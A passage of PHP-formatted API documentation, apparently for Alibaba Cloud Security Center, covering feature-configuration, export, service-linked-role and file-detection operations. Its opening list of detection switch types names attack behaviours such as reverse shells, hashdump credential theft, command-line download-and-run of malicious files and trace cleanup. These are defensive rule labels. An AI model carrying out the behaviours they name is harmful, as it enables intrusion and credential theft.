executes high-risk commands'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell execute suspicious command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service execution a high-risk operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service execution suspicious operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound shells'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Load high-risk drivers'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: high-risk account manipulation behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Create malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Running high-risk ARK tools'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk orders'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service execution high-risk operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: Ransomware'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected Extortion'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: delete system backup behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54168**: LSA security permission service protection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Create service autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Create high-risk autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Create scheduled task autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Create registry autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Create WMI autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Against security software'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump Attack'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Command line download and run malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62357**: Cloud Assistant service information detection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Ingress service implants suspicious script/binary file'."\n", 'type' => 'string', 'example' => 'kdump_switch', ], 'Config' => [ 'description' => 'The status of the feature. Valid values:'."\n" ."\n" .'* **on**: enabled'."\n" .'* **off**: disabled'."\n", 'type' => 'string', 'example' => 'on', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6D9CDB47-6191-4415-BE63-7E8B12CD4FBE\\",\\n \\"OverallConfig\\": {\\n \\"Type\\": \\"kdump_switch\\",\\n \\"Config\\": \\"on\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeCommonOverallConfig', ], 'OperateCommonTargetConfig' => [ 'summary' => 'Configures features by type. The features include container image scan, local file detection, container network visualization, and container escape prevention.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92413', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '182.92.XXX.XXX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **alidetect-scan-enable**: local file detection'."\n" .'* **ACTION-TRIAL-PERMISSION**: data delivery to ActionTrail'."\n" .'* **alidetect**: local file detection engine'."\n" .'* **container_prevent_escape**: container escape prevention'."\n" .'* **image_repo**: repository image scan'."\n" .'* **proc_filter_switch**: log filtering'."\n" .'* **agentless**: agentless detection'."\n" .'* **rasp**: application protection'."\n" .'* **sensitiveFile**: sensitive file detection'."\n" .'* **aliscriptengine**: in-depth detection engine'."\n" .'* **containerNetwork**: container network visualization'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'alidetect', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The dimension based on which the asset is selected. Valid values:'."\n" ."\n" .'* **uuid**: the UUID of the server'."\n" .'* **Cluster**: the ID of the cluster'."\n" .'* **image_repo**: the name of the image repository'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'uuid', ], ], [ 'name' => 'TargetOperations', 'in' => 'query', 'schema' => [ 'description' => 'The configuration of proactive defense for your server. The value includes the following fields:'."\n" ."\n" .'* **targetType**: specifies the dimension from which you manage proactive defense. UUIDs are supported. Set the value to **uuid**.'."\n" .'* **target**: specifies the UUID of the server for which you want to configure proactive defense.'."\n" .'* **flag**: specifies whether to enable or disable proactive defense for your server. Valid values are **add** and **del**. The value add indicates that proactive defense will be enabled for your server. The value del indicates that proactive defense will be disabled for your server.'."\n", 'type' => 'string', 'required' => true, 'example' => '['."\n" .' {'."\n" .' "targetType": "uuid",'."\n" .' "target": "f329a044-6a2f-49a0-9d33-352f6c1d****",'."\n" .' "flag": "del"'."\n" .' }'."\n" .']', ], ], [ 'name' => 'FieldName', 'in' => 'query', 'schema' => [ 'description' => 'The type of the image. Valid values:'."\n" ."\n" .'* **repoName**: the name of the image repository'."\n" .'* **repoNamespace**: the namespace of the image repository'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'repoName', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository or the namespace of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cafcmc-dev', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '95D45C44-4F53-5ED2-8E12-7D134564B****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"95D45C44-4F53-5ED2-8E12-7D134564B****\\"\\n}","type":"json"}]', 'title' => 'OperateCommonTargetConfig', ], 'DescribeSuspiciousOverallConfig' => [ 'summary' => 'Queries the configuration of a specified feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92217', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '39.161.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **auto_breaking**: Anti-Virus'."\n" .'* **ransomware_breaking**: Anti-ransomware (Bait Capture)'."\n" .'* **webshell\\_cloud_breaking**: Webshell Protection'."\n" .'* **alinet**: Behavior prevention'."\n" .'* **k8s\\_log_analysis**: K8s Threat Detection'."\n" .'* **alisecguard**: Defense mode for Client Protection', 'type' => 'string', 'required' => true, 'example' => 'auto_breaking', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], 'OverallConfig' => [ 'description' => 'The configuration.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **auto_breaking**: Anti-Virus'."\n" .'* **ransomware_breaking**: Anti-ransomware (Bait Capture)'."\n" .'* **webshell\\_cloud_breaking**: Webshell Protection'."\n" .'* **alinet**: Behavior prevention'."\n" .'* **k8s\\_log_analysis**: K8s Threat Detection'."\n" .'* **alisecguard**: Defense mode for Client Protection', 'type' => 'string', 'example' => 'auto_breaking', ], 'Config' => [ 'description' => 'The status of the feature. Valid values:'."\n" ."\n" .'* **off**: disabled'."\n" .'* **on**: enabled'."\n", 'type' => 'string', 'example' => 'on', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AccountIdNotExist', 'errorMessage' => 'AccountId not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"OverallConfig\\": {\\n \\"Type\\": \\"auto_breaking\\",\\n \\"Config\\": \\"on\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeSuspiciousOverallConfig', ], 'DescribeExportInfo' => [ 'summary' => 'Queries the progress of a task that exports your assets to an Excel file.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'ExportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the export task.'."\n" ."\n" .'> You can call the [ExportRecord](~~ExportRecord~~) operation to query the IDs of export tasks.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '111', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16670360956*****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Link' => [ 'description' => 'The URL at which you can download the exported Excel file.'."\n", 'type' => 'string', 'example' => 'http://www.aliyun.com', ], 'Progress' => [ 'description' => 'The progress percentage of the export task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'CurrentCount' => [ 'description' => 'The number of exported entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'Message' => [ 'description' => 'The message that shows the task result. The value is fixed as **success**, which indicates that the task is complete.'."\n", 'type' => 'string', 'example' => 'success', ], 'FileName' => [ 'description' => 'The name of the exported Excel file.'."\n", 'type' => 'string', 'example' => 'health_check_export_20171123', ], 'TotalCount' => [ 'description' => 'The total number of entries in the exported Excel file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'ExportStatus' => [ 'description' => 'The status of the export task.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **init**: The task is being initialized.'."\n" .'* **exporting**: The task is in progress.'."\n" .'* **success**: The task is complete.'."\n", 'type' => 'string', 'example' => 'success', ], 'Id' => [ 'description' => 'The ID of the export task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '131231', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Link\\": \\"http://www.aliyun.com\\",\\n \\"Progress\\": 16,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"CurrentCount\\": 20,\\n \\"Message\\": \\"success\\",\\n \\"FileName\\": \\"health_check_export_20171123\\",\\n \\"TotalCount\\": 100,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 131231\\n}","type":"json"}]', 'title' => 'DescribeExportInfo', ], 'ExportRecord' => [ 'summary' => 'Exports the check results on the Host, Cloud Platform Configuration Assessment, Image Security, Attack Awareness, and AK leak detection pages to Excel files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92283', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Params', 'in' => 'query', 'schema' => [ 'description' => 'The conditions that are used to filter check results.'."\n" ."\n" .'> This operation is a common export operation for multiple features of Security Center. The available configuration fields of this parameter vary based on the features. We recommend that you do not specify this parameter when you call the operation. You can export an information list without specifying this parameter, and then filter data in the exported Excel file.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"extend":"1","currentPage":1,"pageSize":10}', ], ], [ 'name' => 'ExportType', 'in' => 'query', 'schema' => [ 'description' => 'The type of detection result list to be exported. Values:'."\n" .'- **assetInstance**: List of servers in the asset center '."\n" .'- **user**: List of asset fingerprints for accounts '."\n" .'- **port**: List of asset fingerprints for ports '."\n" .'- **process**: List of asset fingerprints for processes '."\n" .'- **sca**: List of asset fingerprints for middleware '."\n" .'- **database**: List of asset fingerprints for databases '."\n" .'- **web**: List of asset fingerprints for web services '."\n" .'- **software**: List of asset fingerprints for software '."\n" .'- **cron**: List of asset fingerprints for scheduled tasks '."\n" .'- **autorun**: List of asset fingerprints for startup items '."\n" .'- **lkm**: List of asset fingerprints for kernel modules '."\n" .'- **webserver**: List of asset fingerprints for web sites '."\n" .'- **virusScanExport**: List of details for virus scan tasks '."\n" .'- **imageVulExport**: List of system vulnerabilities in images '."\n" .'- **imageBaseLineExport**: List of baseline check results in images '."\n" .'- **imageAffectedMaliciousExport**: List of malicious sample check results in images '."\n" .'- **baselineCspm**: List of detection results for cloud platform configuration checks '."\n" .'- **attack**: List of alert events for attack analysis '."\n" .'- **accessKey**: List of alert events for AK leak detection '."\n" .'- **exportObjectScanEvents**: List of alert events for malicious file detection '."\n" .'- **domainDetail**: Website assets '."\n" .'- **assetsPropertyScaProcessDetail**: RASP protection process for application protection '."\n" .'- **exportHcWarning**: List of system baseline risks '."\n" .'- **raspAttackAlert**: List of attack alerts for Application Protection'."\n" .'- **raspApplicationConfiguration**: List of application configurations for Application Protection'."\n" .'- **raspWeaknessDetection**: List of weakness detections for Application Protection'."\n" .'- **raspInMemoryWebshellDetection**: List of in-memory webshell detection alerts for Application Protection'."\n" .'- **raspInMemoryWebshellInsertion**: List of in-memory webshell insertion alerts for Application Protection', 'type' => 'string', 'required' => true, 'example' => 'database', ], ], [ 'name' => 'ExportFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file to export. Valid values:'."\n" ."\n" .'* **virusScanExport**: The details of the virus scan tasks are exported. This parameter is available and required when ExportType is set to virusScanExport.'."\n", 'type' => 'string', 'required' => false, 'example' => 'virusScanExport', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], 'FileName' => [ 'description' => 'The name of the exported file.'."\n", 'type' => 'string', 'example' => 'cms_20171101.xlsx', ], 'Id' => [ 'description' => 'The ID of the exported file.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '131231', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'FreeVersionNotPermit', 'errorMessage' => 'Free version is not permitted.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"FileName\\": \\"cms_20171101.xlsx\\",\\n \\"Id\\": 131231\\n}","type":"json"}]', 'title' => 'ExportRecord', 'description' => 'You can call the operation to export the following check result lists:'."\n" ."\n" .'* The list of servers on the Host page.'."\n" .'* The lists of image system vulnerabilities, image application vulnerabilities, image baseline check results, and malicious image samples on the Image Security page.'."\n" .'* The list of attack analysis data on the Attack Awareness page.'."\n" .'* The list of check results for AccessKey pair leaks on the AK leak detection page.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'CreateServiceLinkedRole' => [ 'summary' => 'Creates a service-linked role and authorizes Security Center to access cloud resources.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91938', 'abilityTreeNodes' => [ 'FEATUREsasAFG0OH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ServiceLinkedRole', 'in' => 'query', 'schema' => [ 'description' => 'The service-linked role. Default value: **AliyunServiceRoleForSas**. Valid values:'."\n" ."\n" .'* **AliyunServiceRoleForSas**: the service-linked role of Security Center. Security Center assumes this role to access the resources of other cloud services within your account.'."\n" .'* **AliyunServiceRoleForSasCspm**: the service-linked role of Security Center-CSPM. Security Center-CSPM assumes this role to access the resources of other cloud services within your account.', 'type' => 'string', 'required' => false, 'example' => 'AliyunServiceRoleForSas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B94243D2-9342-4D82-87B9-DF9A038A87E1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'NoPermission.RAM.SlrCreate', 'errorMessage' => 'You are not authorized to do ram:CreateServiceLinkedRole action.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B94243D2-9342-4D82-87B9-DF9A038A87E1\\"\\n}","errorExample":""},{"type":"xml","example":"\\n B94243D2-9342-4D82-87B9-DF9A038A87E1\\n","errorExample":""}]', 'title' => 'CreateServiceLinkedRole', 'description' => 'For more information about service-linked roles, see [Service-linked roles](~~160674~~).'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeServiceLinkedRoleStatus' => [ 'summary' => 'Checks whether a service-linked role is created for Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ServiceLinkedRole', 'in' => 'query', 'schema' => [ 'description' => 'The service-linked role. Default value: **AliyunServiceRoleForSas**. Valid values:'."\n" ."\n" .'* **AliyunServiceRoleForSas**: the service-linked role of Security Center. Security Center assumes this role to access the resources of other cloud services within your account.'."\n" .'* **AliyunServiceRoleForSasCspm**: the service-linked role of Security Center-CSPM. Security Center-CSPM assumes this role to access the resources of other cloud services within your account.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AliyunServiceRoleForSas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '39CE98F4-88C0-4539-B906-6B542E5C07B9', ], 'RoleStatus' => [ 'description' => 'The status information about the service-linked role.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Indicates whether the service-linked role is created. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"39CE98F4-88C0-4539-B906-6B542E5C07B9\\",\\n \\"RoleStatus\\": {\\n \\"Status\\": true\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 39CE98F4-88C0-4539-B906-6B542E5C07B9\\n \\n true\\n \\n","errorExample":""}]', 'title' => 'DescribeServiceLinkedRoleStatus', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'GetFileDetectApiInvokeInfo' => [ 'summary' => 'Obtains the usage information of the malicious file detection SDK.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '9f368b6e-d60a-43c5-bd6f-c7087f2d****', ], 'Data' => [ 'description' => 'Returns the response body.', 'type' => 'object', 'properties' => [ 'AuthCount' => [ 'description' => 'The total number of authorizations.', 'type' => 'integer', 'format' => 'int64', 'example' => '10000', ], 'RemainAuthCount' => [ 'description' => 'The number of remaining authorizations.', 'type' => 'integer', 'format' => 'int64', 'example' => '900', ], 'FlowRate' => [ 'description' => 'The frequency of calls.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TimeUnit' => [ 'description' => 'The time unit of the frequency limit. Value:'."\n" ."\n" .'* **SECONDS**'."\n" .'* **MINUTES**', 'type' => 'string', 'example' => 'SECONDS', ], 'Expire' => [ 'description' => 'The timestamp of the expiration date of the authorization number.', 'type' => 'integer', 'format' => 'int64', 'example' => '1815753600000', ], 'SaleVersion' => [ 'description' => 'The Authorized Version. Valid values include:'."\n" ."\n" .'* **1:** trial version'."\n" .'* **2:** Enterprise Edition', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'InvokeCount' => [ 'description' => 'The number of authorizations used.', 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'InvokeCountInSaleVersion' => [ 'description' => 'The number of authorizations used(excluding trials).', 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'AuthCountInSaleVersion' => [ 'description' => 'The total number of authorizations(excluding trials).', 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9f368b6e-d60a-43c5-bd6f-c7087f2d****\\",\\n \\"Data\\": {\\n \\"AuthCount\\": 10000,\\n \\"RemainAuthCount\\": 900,\\n \\"FlowRate\\": 20,\\n \\"TimeUnit\\": \\"SECONDS\\",\\n \\"Expire\\": 1815753600000,\\n \\"SaleVersion\\": 2,\\n \\"InvokeCount\\": 10,\\n \\"InvokeCountInSaleVersion\\": 20,\\n \\"AuthCountInSaleVersion\\": 20\\n }\\n}","type":"json"}]', 'title' => 'GetFileDetectApiInvokeInfo', ], 'CreateFileDetectUploadUrl' => [ 'summary' => 'Queries the parameters that are required to upload a file for detection.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '140698', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'HashKeyList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The identifiers of files. Only MD5 hash values are supported.'."\n" ."\n" .'> You must specify at least one of the **HashKeyList** and **HashKeyContextList** parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The identifier of the file. Only MD5 hash values are supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '0a212417e65c26ff133cfff28f6c****', ], 'required' => false, 'example' => 'CreateFileDetectUploadUrl', 'maxItems' => 200, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file. Valid values:'."\n" ."\n" .'* **0**: unknown file'."\n" .'* **1**: binary file'."\n" .'* **2**: webshell file'."\n" .'* **4**: script file'."\n" ."\n" .'> If you do not know the type of the file, set this parameter to **0**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], [ 'name' => 'HashKeyContextList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The hash values of files.'."\n" ."\n" .'> You must specify at least one of the **HashKeyList** and **HashKeyContextList** parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'HashKey' => [ 'description' => 'The hash value of the file.'."\n", 'type' => 'string', 'required' => false, 'example' => '30319dd5cee8f894766e479cac170da0', ], 'FileSize' => [ 'description' => 'The size of the file. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2698557', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 200, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => ' ', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', ], 'UploadUrlList' => [ 'description' => 'An array consisting of the parameters that are required to upload a file.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'PublicUrl' => [ 'description' => 'The public endpoint of the URL to which the file is uploaded.'."\n", 'type' => 'string', 'example' => 'http://example.com', ], 'InternalUrl' => [ 'description' => 'The internal endpoint of the URL to which the file is uploaded.'."\n", 'type' => 'string', 'example' => 'http://example.com', ], 'Expire' => [ 'description' => 'The timestamp when the values of the parameters expire. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '1658562101370', ], 'Context' => [ 'description' => 'The signature information.'."\n", 'type' => 'object', 'properties' => [ 'AccessId' => [ 'description' => 'The AccessKey ID that is used to access the OSS bucket.'."\n", 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'Policy' => [ 'description' => 'The policy that poses limits on file upload. For example, the policy can limit the size of the file.'."\n", 'type' => 'string', 'example' => 